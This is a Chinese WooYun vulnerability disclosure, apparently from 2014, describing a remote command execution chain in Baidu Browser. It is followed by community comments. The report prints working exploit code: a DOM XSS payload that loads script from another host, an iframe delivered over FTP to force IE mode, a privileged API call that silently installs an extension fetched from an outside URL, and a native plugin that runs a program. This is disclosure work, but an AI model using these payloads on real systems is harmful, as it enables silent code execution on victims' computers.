当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-080158

漏洞标题:百度浏览器远程命令执行

相关厂商:百度

漏洞作者: gainover

提交时间:2014-10-20 18:24

修复时间:2015-01-18 18:26

公开时间:2015-01-18 18:26

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-20: 细节已通知厂商并且等待厂商处理中
2014-10-20: 厂商已经确认,细节仅向厂商公开
2014-10-23: 细节向第三方安全合作伙伴开放
2014-12-14: 细节向核心白帽子及相关领域专家公开
2014-12-24: 细节向普通白帽子公开
2015-01-03: 细节向实习白帽子公开
2015-01-18: 细节向公众公开

简要描述:

为了上google,我装了百度浏览器(版本:6.5.0.50415),然后就研究了一番。

详细说明:

1. 按照常规的测试思路,首先我们找到特权域,包括bdbrowser://, http://xapp.baidu.com/ 这2个。
2. 随后我们需要在这2个特权域下找到可用的XSS,在bdbrowser域下并没有找到太明显可用的地方,然后开始找xapp.baidu.com,经过一番搜刮,找到了一个DOM XSS的点。
http://xapp.baidu.com/browserextension/single/sinaweibo/auth.php#access_token=<img src=1 onerror=alert(1)>
3. 然而不幸的是,这个DOM XSS会被chrome的xss auditor所拦截。

1.jpg


4. 继续找其他XSS点也没找到, 绕XSS过滤器又绕不过,那么怎么办呢?
百度浏览器是双核,而IE内核对这个DOM XSS并不会拦截,我们可以强制百度浏览器使用IE内核,从而使得这个XSS发挥作用。
5. 使用了一段时间,发现浏览器加载ftp页面的时候,会强制使用IE模式。

2.jpg


6. 而ftp协议下,也是可以访问网页的,因此我们可以使用ftp协议下的页面来嵌入该XSS页面实现效果。于是虚拟机中搭建一个匿名ftp,得到url:
ftp://192.168.1.107/test/bdbrowser.htm
内容如下:

<html>
<iframe src="http://xapp.baidu.com/browserextension/single/sinaweibo/auth.php#access_token=<img src=1 onerror='var s=document.createElement(&quot;script&quot;);s.src=&quot;http://192.168.1.20/test/bdbrowser.js?&quot;+Math.random();document.body.appendChild(s);'//"></iframe>
</html>


该页面内,会调用外部JS文件 http://192.168.1.20/test/bdbrowser.js
随后的利用代码,均在bdbrowser.js中写入,例如写入一句:alert(document.domain);,可以看到JS被成功执行。

3.jpg


7. 接着,我们要做的是如何从 alert 到 实现远程命令执行。
8. 通过对external所提供的API的一番研究,我将目光集中到了插件安装上。 一个典型的插件安装请求函数为以下内容:

window.external.StartRequest(222,"AppService.AppMarket.DownloadPack","(function(id,res){alert(res)})","{\"ID\":\"pbhcaodfcnjnjnbfpagkgjncknmhelll\",\"UPDATE\":\"false\",\"URL\":\"http://dlsw.br.baidu.com/9a8fea874f8419d2281f7bb2d7cf7883.crx\"}",window,"");


然后会出现以下提示内容:

4.jpg


这个“安装确认框”,显然不是我们想看到的东西。。。
有办法绕过去么?
9. 我猜测,数据中的Update参数的true/false是用于控制是 “更新”一个插件,还是安装一个插件,那么如果是更新一个插件,是不是就不会出现“安装”提示了呢?
于是我用自己编写的chrome插件,进行了一个测试

window.external.StartRequest(222,"AppService.AppMarket.DownloadPack","(function(id,res){alert(res)})","{\"ID\":\"Silenter\",\"UPDATE\":\"true\",\"URL\":\"http://x.com/swf_collector.crx\"}",window,"");


其中ID为百度浏览器内置的插件ID,UPDATE被设置为true,URL被设置为我们的插件地址。可以看到,插件被成功安装。

5.jpg


10. 到了这一步,我们已经能够实现远程安装任意插件了,接着就是利用插件来执行系统命令啦。
11. 利用 npapi,简单的写了一个dll,然后利用shellexecute执行一下calc

void CmdRunPluginAPI::run(const std::string& val)
{
ShellExecute(NULL,L"",L"calc.exe",NULL,NULL,SW_SHOW);
}


12. 接着我们将chrome插件调用这个dll,具体见chrome插件开发中npapi相关文档
13. 让受害者访问一个页面,页面自动跳转到ftp页面后,插件就会被自动安装上:
代码这样的:

<script>
location.href="ftp://192.168.1.107/test/bdbrowser.htm";
</script>


7.jpg


14. 受害者随意访问一个网页, 就可以看到执行了本地的计算器:

8.jpg

漏洞证明:

视频:
http://v.youku.com/v_show/id_XODA3NTE4NzYw.html
密码: wooyuncmd

修复方案:

嗯,先修XSS,其它方面,哪些地方欠缺安全考虑的点,从上文中自行挖掘。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2014-10-20 20:18

厂商回复:

感谢提交,我们已经通知业务部门处理此问题。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-10-20 18:25 | if、so 认证白帽子 ( 核心白帽子 | Rank:1008 漏洞数:91 | 梦想还是要有的,万一实现了呢?)

  2. 2014-10-20 18:27 | Aepl│恋爱 ( 实习白帽子 | Rank:45 漏洞数:15 | Forzen恋爱-不要做你的Guest 只想做的你adm...)

    前排卖瓜子话梅

  3. 2014-10-20 18:28 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    前排!~

  4. 2014-10-20 18:31 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    闪电在哪里?

  5. 2014-10-20 18:31 | 玉林嘎 ( 普通白帽子 | Rank:758 漏洞数:96 )

    CCTV看这里

  6. 2014-10-20 18:31 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    浏览器专场的节奏啊

  7. 2014-10-20 18:39 | ki11y0u ( 普通白帽子 | Rank:104 漏洞数:23 | 好好学习,求带飞~~~~~~~~~~~~~~~~~~~~~~...)

    mark

  8. 2014-10-20 18:40 | 大孩小孩 ( 路人 | Rank:7 漏洞数:7 | 哈哈哈哈)

    mark

  9. 2014-10-20 18:41 | 老笨蛋 ( 路人 | Rank:29 漏洞数:8 | 老笨蛋一个)

    留个位置先。

  10. 2014-10-20 19:02 | GHK ( 路人 | Rank:2 漏洞数:1 | 请叫我小渣渣。)

    @ Aepl│恋爱 来两斤瓜子。

  11. 2014-10-20 19:10 | Jn· ( 路人 | Rank:30 漏洞数:14 | 本小菜很可爱,如果不服你TM来打我啊--哎呀...)

    ~.~ 好屌

  12. 2014-10-20 19:20 | 浩森 ( 路人 | Rank:30 漏洞数:6 )

    so diao

  13. 2014-10-20 19:27 | p.z 认证白帽子 ( 普通白帽子 | Rank:411 漏洞数:40 )

    二哥你是黑客啊

  14. 2014-10-20 19:29 | 大大灰狼 ( 普通白帽子 | Rank:248 漏洞数:53 | Newbie)

    @p.z 我也是才知道

  15. 2014-10-20 19:34 | Woodee ( 路人 | 还没有发布任何漏洞 | 乌云路人甲,打脸pa pa pa)

    @大大灰狼 我也知道了

  16. 2014-10-20 19:42 | sco4x0 ( 实习白帽子 | Rank:31 漏洞数:13 | O_o)

    @p.z 我也是才知道,谢谢你告诉我们这个消息

  17. 2014-10-20 21:20 | 威猛老爷 ( 路人 | Rank:1 漏洞数:3 | 老爷,你在哪里?)

    屌爆了

  18. 2014-10-20 21:24 | 盛大网络(乌云厂商)

    我猜是浏览器的接口出了问题

  19. 2014-10-20 21:33 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    为啥你上谷歌要装百度浏览器

  20. 2014-10-20 22:49 | jeary ( 普通白帽子 | Rank:296 漏洞数:106 | (:‮.kcaH eb nac gnihtynA))

    @px1624 因为百度新功能“海外通道”

  21. 2014-10-21 00:04 | 0gucci ( 普通白帽子 | Rank:166 漏洞数:33 | 深度值得深入)

    google 现在不用翻墙了 天朝又放它近来了,可以直接访问- -#

  22. 2014-10-21 08:34 | 茜茜公主 ( 普通白帽子 | Rank:2360 漏洞数:406 | 家里二宝出生,这几个月忙着把屎把尿...忒...)

    脚印

  23. 2014-10-21 09:35 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名,可我没猜出密码。)

    uxss?

  24. 2014-10-21 13:04 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

    一看你就是黑客

  25. 2014-10-21 15:26 | 徽弘 ( 路人 | Rank:10 漏洞数:5 )

    看到标题我就进来了

  26. 2014-10-21 17:13 | 从容 ( 普通白帽子 | Rank:221 漏洞数:75 | Enjoy Hacking Just Because It's Fun :) ...)

    一看是二哥发的洞就果断进来了

  27. 2014-10-22 23:45 | noob ( 实习白帽子 | Rank:81 漏洞数:18 | 向各位大神学习,向各位大神致敬)

    @0gucci 为毛我打不开

  28. 2014-10-23 11:37 | 0gucci ( 普通白帽子 | Rank:166 漏洞数:33 | 深度值得深入)

    @noob .hk?

  29. 2014-10-24 10:15 | noob ( 实习白帽子 | Rank:81 漏洞数:18 | 向各位大神学习,向各位大神致敬)

    @0gucci 不管是.hk还是.com都不行,必须翻墙

  30. 2015-01-18 20:56 | jeary ( 普通白帽子 | Rank:296 漏洞数:106 | (:‮.kcaH eb nac gnihtynA))

    公开了~从DOM XSS到命令执行 求科普特权域怎么找

  31. 2015-01-19 13:30 | 木马游民 ( 路人 | Rank:17 漏洞数:8 | I love LSD!)

    楼主是黑客

  32. 2015-01-20 00:51 | darkkid ( 实习白帽子 | Rank:32 漏洞数:19 | ###)

    X-UA-Compatible可以使用兼容模式,也就是IE的。不过不知道百度浏览器是否支持这个标准

  33. 2015-01-23 13:13 | LaiX ( 普通白帽子 | Rank:128 漏洞数:39 | 承接 建站、仿站、维护、反黑客、代码审计...)

    二哥,为何这么吊

  34. 2015-01-26 19:11 | qhwlpg ( 普通白帽子 | Rank:226 漏洞数:54 | 潜心代码审计。)

  35. 2015-01-28 14:38 | 盛大网络(乌云厂商)

    2015年开始Chrome中断使用NPAPI插件

  36. 2015-04-26 15:18 | 昌维 ( 路人 | Rank:2 漏洞数:3 | QQ:867597730,百度贴吧ID:昌维001)

    可怕

  37. 2015-07-01 17:53 | 黑色雨滴 ( 路人 | Rank:29 漏洞数:8 | 没有主页新手一个前来玩玩)

    好犀利。。。

  38. 2015-07-22 21:39 | Drizzle.Risk ( 普通白帽子 | Rank:255 漏洞数:19 | You have an error in your SQL syntax; ch...)

    很不错啊~